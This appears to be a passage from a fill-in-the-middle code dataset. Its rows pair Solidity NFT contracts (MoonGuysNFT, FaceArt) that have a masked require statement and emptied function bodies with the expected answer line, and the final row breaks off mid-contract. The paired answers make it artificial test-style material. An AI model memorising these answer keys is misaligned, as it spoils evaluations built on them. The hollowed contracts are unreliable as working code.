function _baseURI() internal view virtual override returns (string memory) {
}
function withdraw() public onlyOwner nonReentrant {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function supportsInterface(bytes4 interfaceId)
public
view
override
returns (bool)
{
}
function royaltyInfo(uint256 _tokenId, uint256 _salePrice)
external
view
returns (address receiver, uint256 royaltyAmount)
{
}
function calculateRoyalty(uint256 _salePrice)
public
view
returns (uint256)
{
}
function airdrop(address[] memory _to, uint256[] memory quantity)
external
payable
nonReentrant
onlyOwner
{
}
}
| totalSupply()+_mintAmount<=currentMaxSupply,"Max supply exceeded!" | 85,940 | totalSupply()+_mintAmount<=currentMaxSupply |
"Can only mint 2 per wallet. Mint more from public" | //SPDX-License-Identifier: Unlicense
/*
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNNNMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNSSYY YSGMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNYYYYY YGNNMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMGSSSNMNYY YYMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMSYYYSSY YGMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMSYYY YUUUUY YUMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMGYY YYY YY YMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMOYYY YU SY YMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNYY YN Y GGYYYY YUMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMGYYY YG SY YYYGNMMM
MMMMMMMMMMMMMMMMMMMMMMMNGGGGGGGGGGGGGY OY YY Y MMMMMM
MMMMMMMMMMMMMMMMMMMMNUUSSSSSSSSSOOOYYSGYYY YYSSSSGN MMMMMM
MMMMMMMMMMMMMMMMMNGGSSSSSSSSSSYYYYYYYYYGGUS YYY YSMMMMMM
MMMMMMMMMMMMMNNNSSSSSSSSSSSOYYYYYYYYYYYYYYOGYY GNNNNMMMMMMMM
MMMMMMMMMMMMGSSSSSSSSSSSSSYYYYYYYYYYYYYYYYYYUUO YU GMMMMMMMMMMMM
MMMMMMMMMNGSSSSSSSSSSOSOOYYYYYYYYYYYYYYYYYYYYYSGYY YNNNNNMMMMMMMMMMMMM
MMMMMMMMMNNNNNNNNUSSSSSYYYYYYYYYYYYYYYYYYYYYYYYYUUGMMMMMMMMMMMMMMMMMMM
MMMMMMMMYYYYYYYYYUGGGSYYYYYYYYYYYYYYYYYYYYYYYYYYYUNMMMMMMMMMMMMMMMMMMM
MMMMMMNYY YYYYNNGYYYYYYYYYYYYYYOSSUNYYYYYYYUMMMMMMMMMMMMMMMMMMM
MMMMMO YYYYUUGUYYYYYYYYOSGNNGYYYYYYYYUMMMMMMMMMMMMMMMMMMM
MMMMMO YYYY YYYYYYYGSYYYYOSGNUSOYYYYYYYYYUMMMMMMMMMMMMMMMMMMM
MMMMGY YYYYSY YYYYSGUYYSNNGNGGGYYYYYYYUNMMMMMMMMMMMMMMMMMMM
MMMMY YYNYYY YYYSGUNYYYYYYYGUOYYYSNMMMMMMMMMMMMMMMMMMMM
MMMMGYYY YYMYYY YYYSMYYY YGGOONMMMMMMMMMMMMMMMMMMMMM
MMMMMSYYYYYYGOYYY YYSGYY YYMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMNUYYYYYYGUYYYY YYUGYYY YGGGGMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMSYYYYYYGYYYYY YYYYUOYY OMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMNNNYYYYYGYYYYYYYYYYYGMSYYY SMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMGYYYYYUSSSSSSSSSYNSYYY NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMNGYYYYYMMMNYYYYYYUUYY NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMNYYYYYMMMMUYYYYYUGYY NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMNYYYYYYGMMMMGYYYYUYYY NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMNYYYYYYGMMMMMNYYYYYUYY YGMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMNYYYYYYGMMMMMNYYYYNYYY SMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMNYYYYYYGMMMMMMMYYOMYYYYYSNMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMSSSSNNNNNNUGNNNGSSNNGSNNGNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMNUNNNNSYYYYYYYYYYOSSSSSSSYYYYNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMNYGUSSGGGGGGGGSSSGNNNNNGGGGGUMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMGYUGGSOOSUGUUSYYYYSSSSSSSSYYYNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMNSSSGNGGGNNGGGGYYYSGGGGYYYYYONMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMYSSOSOSSUGNNGNNNNGUUSOYYYYNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMNYYGUYYYYYNGNNUSSSSSYYYYYYSYYYGMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMNYYYSNNGGUYONMNGSSSYYSGGGYYYYYYNMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMGOYSOYYYYONMMMNNNSSYYYYYYYYYYYMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMNNNNNNNNNNNMMMMMMMNNNNNNNNNUGMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMGSOOOOOOOOOSGMMMMMGSOOOOOOOOUGMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
*/
pragma solidity ^0.8.9;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract MoonGuysNFT is ERC721A, Ownable, ReentrancyGuard {
string public contractURI = "https://moonguys.xyz/contractmetadata.json"; //link to metadata.json for contract info
uint96 public royaltyFeesInBips = 555; //royalty fee in bases points (100 = 1% 555 = 5.55%)
address public royaltyReceiver; //address to deposit royalties
string public hiddenMetadataUri =
"ipfs://bafybeifa6sxhmmg6fkfyugkxcunj3mbed2746xgxnyuul2onlmz25davha/"; //default hidden metadata
string private baseURI; //the reveal URI to be set a later time
uint256 MAX_MINT_PER_WALLET = 2;
uint256 public cost = 0.05 ether; //mint price
uint256 public currentMaxSupply = 222; //project supply
bool public mintEnabled = false; //disable and enable the mint
bool public mintEnabledWL = true; //disable and enable the mint
mapping(address => uint256) walletsMinted;
bytes32 public merkleRoot;
constructor() ERC721A("The Moon Guys NFT", "TMG") {
}
modifier mintCompliance(uint256 _mintAmount) {
}
modifier WLmintEnabledCompliance() {
}
modifier mintEnabledCompliance() {
}
function WLMintMoonGuy(bytes32[] calldata _merkleProof, uint256 quantity)
external
payable
WLmintEnabledCompliance
mintCompliance(quantity)
nonReentrant
{
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(
MerkleProof.verify(_merkleProof, merkleRoot, leaf),
"Not on the WL. Come back soon to mint from public"
);
require(<FILL_ME>)
require(
msg.value >= cost * quantity,
"Please send 0.05 for each mint (0.05 x quantity) "
);
_safeMint(msg.sender, quantity); //bbbrrrrrr
walletsMinted[msg.sender] += quantity;
}
function mintMoonGuy(uint256 quantity)
external
payable
mintEnabledCompliance
mintCompliance(quantity)
nonReentrant
{
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setCurrentMaxSupply(uint256 _supply) public onlyOwner {
}
function setContractURI(string calldata _contractURI) public onlyOwner {
}
function setRoyaltyReceiver(address _receiver) public onlyOwner {
}
function setRoyaltyBips(uint96 _royaltyFeesInBips) public onlyOwner {
}
function setMintEnable(bool _enableMint) public onlyOwner {
}
function setWLMintEnable(bool _enableMint) public onlyOwner {
}
function setCost(uint256 _cost) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri)
public
onlyOwner
{
}
function setBaseURI(string memory _baseURI) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function withdraw() public onlyOwner nonReentrant {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function supportsInterface(bytes4 interfaceId)
public
view
override
returns (bool)
{
}
function royaltyInfo(uint256 _tokenId, uint256 _salePrice)
external
view
returns (address receiver, uint256 royaltyAmount)
{
}
function calculateRoyalty(uint256 _salePrice)
public
view
returns (uint256)
{
}
function airdrop(address[] memory _to, uint256[] memory quantity)
external
payable
nonReentrant
onlyOwner
{
}
}
| walletsMinted[msg.sender]+quantity<=MAX_MINT_PER_WALLET,"Can only mint 2 per wallet. Mint more from public" | 85,940 | walletsMinted[msg.sender]+quantity<=MAX_MINT_PER_WALLET |
"Exceeds Level 0 supply" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
pragma abicoder v2;
// Uncomment this line to use console.log
// required to accept structs as function parameters
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
contract FaceArt is ERC721, ERC721Enumerable, PaymentSplitter, Pausable, ReentrancyGuard, AccessControl, EIP712, IERC2981 {
using Address for address;
using Strings for uint256;
using Counters for Counters.Counter;
bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
string private constant SIGNING_DOMAIN = "FaceArt";
string private constant SIGNATURE_VERSION = "1";
string public baseURI;
enum Level {
A0,
B0,
A1,
B1,
C1,
D1
}
uint256 private constant FREEMINT_LOT_SIZE = 3;
uint256 public mintPrice = 0.001 ether;
uint256 private maxMintQuantity = 10;
uint256 private burnVoucherExpiry = 2 hours;
address public crossmintAddress;
mapping (address => bool) public blockedMarketplaces;
mapping(address => mapping(address => bool)) affiliateMapping;
mapping(address => uint) public affiliateCounter;
mapping(address => uint) public freeMintCounter;
mapping(address => bool) public whitelist;
mapping(address => bool) public minterlist;
mapping(Level => uint) levelSupply;
mapping(Level => uint) public levelMintedCounter;
mapping(uint => Level) public tokenLevel;
mapping(uint => BurnVoucher) burnVoucher;
bool private _fusionEnabled;
Counters.Counter private _tokenIdCounter;
RoyaltyInfo private _currentRoyaltyInfo;
address[] private _team = [0x70B66C23F8f7ab6AcACEC011337e58c9314E96cF, 0x99A7130dc775dB71E5252dE59F0f156DF1B96d89];
uint[] private _shares = [750, 250];
struct MintVoucher {
address recipient;
address referrer;
bytes signature;
}
struct BurnVoucher {
address recipient;
uint256 emitTimestamp;
}
struct RoyaltyInfo {
address receiver;
uint96 royaltyFraction;
}
event BurnTicket(address _recipient, uint256 _emitTimestamp, uint256 _tokenId);
event FreeMintTicket(address _recipient, uint256 _emitTimestamp);
event EnableFusion(address account);
event DisableFusion(address account);
constructor(address _minter) ERC721("FaceArt", "F-ART") EIP712(SIGNING_DOMAIN, SIGNATURE_VERSION) PaymentSplitter(_team, _shares) {
}
function pause() public onlyRole(OWNER_ROLE) {
}
function unpause() public onlyRole(OWNER_ROLE) {
}
function enableFusion() public onlyRole(OWNER_ROLE) {
}
modifier whenFusionEnabled() {
}
function setMintPrice(uint256 newMintPrice) public onlyRole(OWNER_ROLE) {
}
function setCrossmintAddress(address _crossmintAddress) public onlyRole(OWNER_ROLE) {
}
function getMintPrice() public view returns (uint256) {
}
function getFreeMintQuantity(address _account) public view returns (uint256) {
}
function setBaseURI(string memory newBaseURI) public onlyRole(OWNER_ROLE) {
}
function _baseURI() internal view override returns (string memory) {
}
function _levelName(Level _level) internal pure returns (string memory) {
}
function getLevel(uint256 tokenId) public view returns (string memory) {
}
function gift(uint _quantity, address _to) external onlyRole(OWNER_ROLE) {
require(_quantity <= maxMintQuantity, "Exceeds max mint quantity per tx");
require(<FILL_ME>)
for (uint256 i; i < _quantity;) {
_tokenIdCounter.increment();
uint256 currentTokenId = _tokenIdCounter.current();
_safeMint(_to, currentTokenId);
tokenLevel[currentTokenId] = randomizeLevel0(currentTokenId);
unchecked {
levelMintedCounter[tokenLevel[currentTokenId]]++;
i++;
}
}
}
function _mint(uint256 quantity, MintVoucher memory voucher) internal {
}
function mintCrossmint(uint256 quantity, address to, address recipient, address referrer) public payable whenNotPaused {
}
/// @notice Mint function
/// @param voucher A signed MintVoucher.
function mint(uint256 quantity, address to, MintVoucher calldata voucher) public payable whenNotPaused {
}
function randomizeLevel0(uint256 salt) private view returns (Level) {
}
/// @notice Fusion function
function fusion(uint256 tokenId1, uint256 tokenId2) public whenNotPaused whenFusionEnabled returns (uint256) {
}
function burnWithTicket(uint256 burnTokenId) public whenNotPaused {
}
function randomizeLevel1(uint256 salt) private view returns (Level) {
}
function random(uint256 salt, uint256 mod) public view returns (uint256) {
}
/**
* @notice Release the gains on every accounts
*/
function releaseAll() external nonReentrant onlyRole(OWNER_ROLE) {
}
/**
* @inheritdoc IERC2981
*/
function royaltyInfo(uint256 , uint256 _salePrice) public view virtual override returns (address, uint256) {
}
/**
* @dev The denominator with which to interpret the fee set in {_setTokenRoyalty} and {_setDefaultRoyalty} as a
* fraction of the sale price. Defaults to 10000 so fees are expressed in basis points, but may be customized by an
* override.
*/
function _feeDenominator() internal pure virtual returns (uint96) {
}
/**
* @dev Sets the royalty information that all ids in this contract will default to.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setRoyaltyInfo(address receiver, uint96 feeNumerator) external onlyRole(OWNER_ROLE) {
}
function approve(address to, uint256 id) public virtual override(ERC721, IERC721) {
}
function setApprovalForAll(address operator, bool approved) public virtual override(ERC721, IERC721) {
}
function setBlockedMarketplace(address marketplace, bool blocked) public onlyRole(OWNER_ROLE) {
}
//Not allowing receiving ethers outside minting functions
receive() external payable override {
}
/// @notice Returns a hash of the given MintVoucher, prepared using EIP712 typed data hashing rules.
/// @param voucher An MintVoucher to hash.
function _hash(MintVoucher calldata voucher) internal view returns (bytes32) {
}
/// @notice Verifies the signature for a given MintVoucher, returning the address of the signer.
/// @dev Will revert if the signature is invalid. Does not verify that the signer is authorized to mint NFTs.
/// @param voucher An MintVoucher describing an unminted NFT.
function _verify(MintVoucher calldata voucher) internal view returns (address) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize) internal override(ERC721, ERC721Enumerable) {
}
/// @notice Returns the chain id of the current blockchain.
/// @dev This is used to workaround an issue with ganache returning different values from the on-chain chainid() function and
/// the eth_chainId RPC method. See https://github.com/protocol/nft-website/issues/121 for context.
function getChainID() external view returns (uint256) {
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable, AccessControl, IERC165) returns (bool) {
}
}
| (levelMintedCounter[Level.A0]+levelMintedCounter[Level.B0]+_quantity)<=(levelSupply[Level.A0]+levelSupply[Level.B0]),"Exceeds Level 0 supply" | 86,047 | (levelMintedCounter[Level.A0]+levelMintedCounter[Level.B0]+_quantity)<=(levelSupply[Level.A0]+levelSupply[Level.B0]) |
"Exceeds Level 0 supply" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
pragma abicoder v2;
// Uncomment this line to use console.log
// required to accept structs as function parameters
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
contract FaceArt is ERC721, ERC721Enumerable, PaymentSplitter, Pausable, ReentrancyGuard, AccessControl, EIP712, IERC2981 {
using Address for address;
using Strings for uint256;
using Counters for Counters.Counter;
bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
string private constant SIGNING_DOMAIN = "FaceArt";
string private constant SIGNATURE_VERSION = "1";
string public baseURI;
enum Level {
A0,
B0,
A1,
B1,
C1,
D1
}
uint256 private constant FREEMINT_LOT_SIZE = 3;
uint256 public mintPrice = 0.001 ether;
uint256 private maxMintQuantity = 10;
uint256 private burnVoucherExpiry = 2 hours;
address public crossmintAddress;
mapping (address => bool) public blockedMarketplaces;
mapping(address => mapping(address => bool)) affiliateMapping;
mapping(address => uint) public affiliateCounter;
mapping(address => uint) public freeMintCounter;
mapping(address => bool) public whitelist;
mapping(address => bool) public minterlist;
mapping(Level => uint) levelSupply;
mapping(Level => uint) public levelMintedCounter;
mapping(uint => Level) public tokenLevel;
mapping(uint => BurnVoucher) burnVoucher;
bool private _fusionEnabled;
Counters.Counter private _tokenIdCounter;
RoyaltyInfo private _currentRoyaltyInfo;
address[] private _team = [0x70B66C23F8f7ab6AcACEC011337e58c9314E96cF, 0x99A7130dc775dB71E5252dE59F0f156DF1B96d89];
uint[] private _shares = [750, 250];
struct MintVoucher {
address recipient;
address referrer;
bytes signature;
}
struct BurnVoucher {
address recipient;
uint256 emitTimestamp;
}
struct RoyaltyInfo {
address receiver;
uint96 royaltyFraction;
}
event BurnTicket(address _recipient, uint256 _emitTimestamp, uint256 _tokenId);
event FreeMintTicket(address _recipient, uint256 _emitTimestamp);
event EnableFusion(address account);
event DisableFusion(address account);
constructor(address _minter) ERC721("FaceArt", "F-ART") EIP712(SIGNING_DOMAIN, SIGNATURE_VERSION) PaymentSplitter(_team, _shares) {
}
function pause() public onlyRole(OWNER_ROLE) {
}
function unpause() public onlyRole(OWNER_ROLE) {
}
function enableFusion() public onlyRole(OWNER_ROLE) {
}
modifier whenFusionEnabled() {
}
function setMintPrice(uint256 newMintPrice) public onlyRole(OWNER_ROLE) {
}
function setCrossmintAddress(address _crossmintAddress) public onlyRole(OWNER_ROLE) {
}
function getMintPrice() public view returns (uint256) {
}
function getFreeMintQuantity(address _account) public view returns (uint256) {
}
function setBaseURI(string memory newBaseURI) public onlyRole(OWNER_ROLE) {
}
function _baseURI() internal view override returns (string memory) {
}
function _levelName(Level _level) internal pure returns (string memory) {
}
function getLevel(uint256 tokenId) public view returns (string memory) {
}
function gift(uint _quantity, address _to) external onlyRole(OWNER_ROLE) {
}
function _mint(uint256 quantity, MintVoucher memory voucher) internal {
require(quantity <= maxMintQuantity, "Exceeds max mint quantity per tx");
require(<FILL_ME>)
if (minterlist[voucher.recipient]) {
uint256 freeMint = freeMintCounter[voucher.recipient];
uint256 diffQty = quantity >= freeMint ? quantity - freeMint : 0;
require( msg.value == mintPrice * diffQty, "Not enough ETH sent");
if (freeMint != 0) {
uint256 diffQtyNd = freeMint >= quantity ? freeMint - quantity : 0;
freeMintCounter[voucher.recipient] = diffQtyNd;
}
} else {
require(msg.value == mintPrice * quantity, "Not enough ETH sent");
}
for (uint256 i; i < quantity;) {
_tokenIdCounter.increment();
uint256 currentTokenId = _tokenIdCounter.current();
_safeMint(voucher.recipient, currentTokenId);
tokenLevel[currentTokenId] = randomizeLevel0(currentTokenId);
levelMintedCounter[tokenLevel[currentTokenId]]++;
unchecked {
i++;
}
}
if (voucher.referrer != address(0)) {
if (!affiliateMapping[voucher.referrer][voucher.recipient]) {
affiliateCounter[voucher.referrer]++;
affiliateMapping[voucher.referrer][voucher.recipient] = true;
if (affiliateCounter[voucher.referrer] % FREEMINT_LOT_SIZE == 0) {
freeMintCounter[voucher.referrer]++;
emit FreeMintTicket(voucher.referrer, block.timestamp);
}
}
} else if (!whitelist[voucher.recipient]) {
whitelist[voucher.recipient] = true;
}
if (!minterlist[voucher.recipient]) {
minterlist[voucher.recipient] = true;
}
}
function mintCrossmint(uint256 quantity, address to, address recipient, address referrer) public payable whenNotPaused {
}
/// @notice Mint function
/// @param voucher A signed MintVoucher.
function mint(uint256 quantity, address to, MintVoucher calldata voucher) public payable whenNotPaused {
}
function randomizeLevel0(uint256 salt) private view returns (Level) {
}
/// @notice Fusion function
function fusion(uint256 tokenId1, uint256 tokenId2) public whenNotPaused whenFusionEnabled returns (uint256) {
}
function burnWithTicket(uint256 burnTokenId) public whenNotPaused {
}
function randomizeLevel1(uint256 salt) private view returns (Level) {
}
function random(uint256 salt, uint256 mod) public view returns (uint256) {
}
/**
* @notice Release the gains on every accounts
*/
function releaseAll() external nonReentrant onlyRole(OWNER_ROLE) {
}
/**
* @inheritdoc IERC2981
*/
function royaltyInfo(uint256 , uint256 _salePrice) public view virtual override returns (address, uint256) {
}
/**
* @dev The denominator with which to interpret the fee set in {_setTokenRoyalty} and {_setDefaultRoyalty} as a
* fraction of the sale price. Defaults to 10000 so fees are expressed in basis points, but may be customized by an
* override.
*/
function _feeDenominator() internal pure virtual returns (uint96) {
}
/**
* @dev Sets the royalty information that all ids in this contract will default to.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setRoyaltyInfo(address receiver, uint96 feeNumerator) external onlyRole(OWNER_ROLE) {
}
function approve(address to, uint256 id) public virtual override(ERC721, IERC721) {
}
function setApprovalForAll(address operator, bool approved) public virtual override(ERC721, IERC721) {
}
function setBlockedMarketplace(address marketplace, bool blocked) public onlyRole(OWNER_ROLE) {
}
//Not allowing receiving ethers outside minting functions
receive() external payable override {
}
/// @notice Returns a hash of the given MintVoucher, prepared using EIP712 typed data hashing rules.
/// @param voucher An MintVoucher to hash.
function _hash(MintVoucher calldata voucher) internal view returns (bytes32) {
}
/// @notice Verifies the signature for a given MintVoucher, returning the address of the signer.
/// @dev Will revert if the signature is invalid. Does not verify that the signer is authorized to mint NFTs.
/// @param voucher An MintVoucher describing an unminted NFT.
function _verify(MintVoucher calldata voucher) internal view returns (address) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize) internal override(ERC721, ERC721Enumerable) {
}
/// @notice Returns the chain id of the current blockchain.
/// @dev This is used to workaround an issue with ganache returning different values from the on-chain chainid() function and
/// the eth_chainId RPC method. See https://github.com/protocol/nft-website/issues/121 for context.
function getChainID() external view returns (uint256) {
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable, AccessControl, IERC165) returns (bool) {
}
}
| (levelMintedCounter[Level.A0]+levelMintedCounter[Level.B0]+quantity)<=(levelSupply[Level.A0]+levelSupply[Level.B0]),"Exceeds Level 0 supply" | 86,047 | (levelMintedCounter[Level.A0]+levelMintedCounter[Level.B0]+quantity)<=(levelSupply[Level.A0]+levelSupply[Level.B0]) |
"Should be to crossmint" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
pragma abicoder v2;
// Uncomment this line to use console.log
// required to accept structs as function parameters
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
contract FaceArt is ERC721, ERC721Enumerable, PaymentSplitter, Pausable, ReentrancyGuard, AccessControl, EIP712, IERC2981 {
using Address for address;
using Strings for uint256;
using Counters for Counters.Counter;
bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
string private constant SIGNING_DOMAIN = "FaceArt";
string private constant SIGNATURE_VERSION = "1";
string public baseURI;
enum Level {
A0,
B0,
A1,
B1,
C1,
D1
}
uint256 private constant FREEMINT_LOT_SIZE = 3;
uint256 public mintPrice = 0.001 ether;
uint256 private maxMintQuantity = 10;
uint256 private burnVoucherExpiry = 2 hours;
address public crossmintAddress;
mapping (address => bool) public blockedMarketplaces;
mapping(address => mapping(address => bool)) affiliateMapping;
mapping(address => uint) public affiliateCounter;
mapping(address => uint) public freeMintCounter;
mapping(address => bool) public whitelist;
mapping(address => bool) public minterlist;
mapping(Level => uint) levelSupply;
mapping(Level => uint) public levelMintedCounter;
mapping(uint => Level) public tokenLevel;
mapping(uint => BurnVoucher) burnVoucher;
bool private _fusionEnabled;
Counters.Counter private _tokenIdCounter;
RoyaltyInfo private _currentRoyaltyInfo;
address[] private _team = [0x70B66C23F8f7ab6AcACEC011337e58c9314E96cF, 0x99A7130dc775dB71E5252dE59F0f156DF1B96d89];
uint[] private _shares = [750, 250];
struct MintVoucher {
address recipient;
address referrer;
bytes signature;
}
struct BurnVoucher {
address recipient;
uint256 emitTimestamp;
}
struct RoyaltyInfo {
address receiver;
uint96 royaltyFraction;
}
event BurnTicket(address _recipient, uint256 _emitTimestamp, uint256 _tokenId);
event FreeMintTicket(address _recipient, uint256 _emitTimestamp);
event EnableFusion(address account);
event DisableFusion(address account);
constructor(address _minter) ERC721("FaceArt", "F-ART") EIP712(SIGNING_DOMAIN, SIGNATURE_VERSION) PaymentSplitter(_team, _shares) {
}
function pause() public onlyRole(OWNER_ROLE) {
}
function unpause() public onlyRole(OWNER_ROLE) {
}
function enableFusion() public onlyRole(OWNER_ROLE) {
}
modifier whenFusionEnabled() {
}
function setMintPrice(uint256 newMintPrice) public onlyRole(OWNER_ROLE) {
}
function setCrossmintAddress(address _crossmintAddress) public onlyRole(OWNER_ROLE) {
}
function getMintPrice() public view returns (uint256) {
}
function getFreeMintQuantity(address _account) public view returns (uint256) {
}
function setBaseURI(string memory newBaseURI) public onlyRole(OWNER_ROLE) {
}
function _baseURI() internal view override returns (string memory) {
}
function _levelName(Level _level) internal pure returns (string memory) {
}
function getLevel(uint256 tokenId) public view returns (string memory) {
}
function gift(uint _quantity, address _to) external onlyRole(OWNER_ROLE) {
}
function _mint(uint256 quantity, MintVoucher memory voucher) internal {
}
function mintCrossmint(uint256 quantity, address to, address recipient, address referrer) public payable whenNotPaused {
require(to == crossmintAddress, "Restricted for crossmint");
require(<FILL_ME>)
require(_msgSender() != referrer, "Referrer can't be crossmint");
require(recipient != referrer, "Referrer can't be the recipient");
MintVoucher memory voucher = MintVoucher({recipient: recipient, referrer: referrer, signature: ""});
_mint(quantity, voucher);
}
/// @notice Mint function
/// @param voucher A signed MintVoucher.
function mint(uint256 quantity, address to, MintVoucher calldata voucher) public payable whenNotPaused {
}
function randomizeLevel0(uint256 salt) private view returns (Level) {
}
/// @notice Fusion function
function fusion(uint256 tokenId1, uint256 tokenId2) public whenNotPaused whenFusionEnabled returns (uint256) {
}
function burnWithTicket(uint256 burnTokenId) public whenNotPaused {
}
function randomizeLevel1(uint256 salt) private view returns (Level) {
}
function random(uint256 salt, uint256 mod) public view returns (uint256) {
}
/**
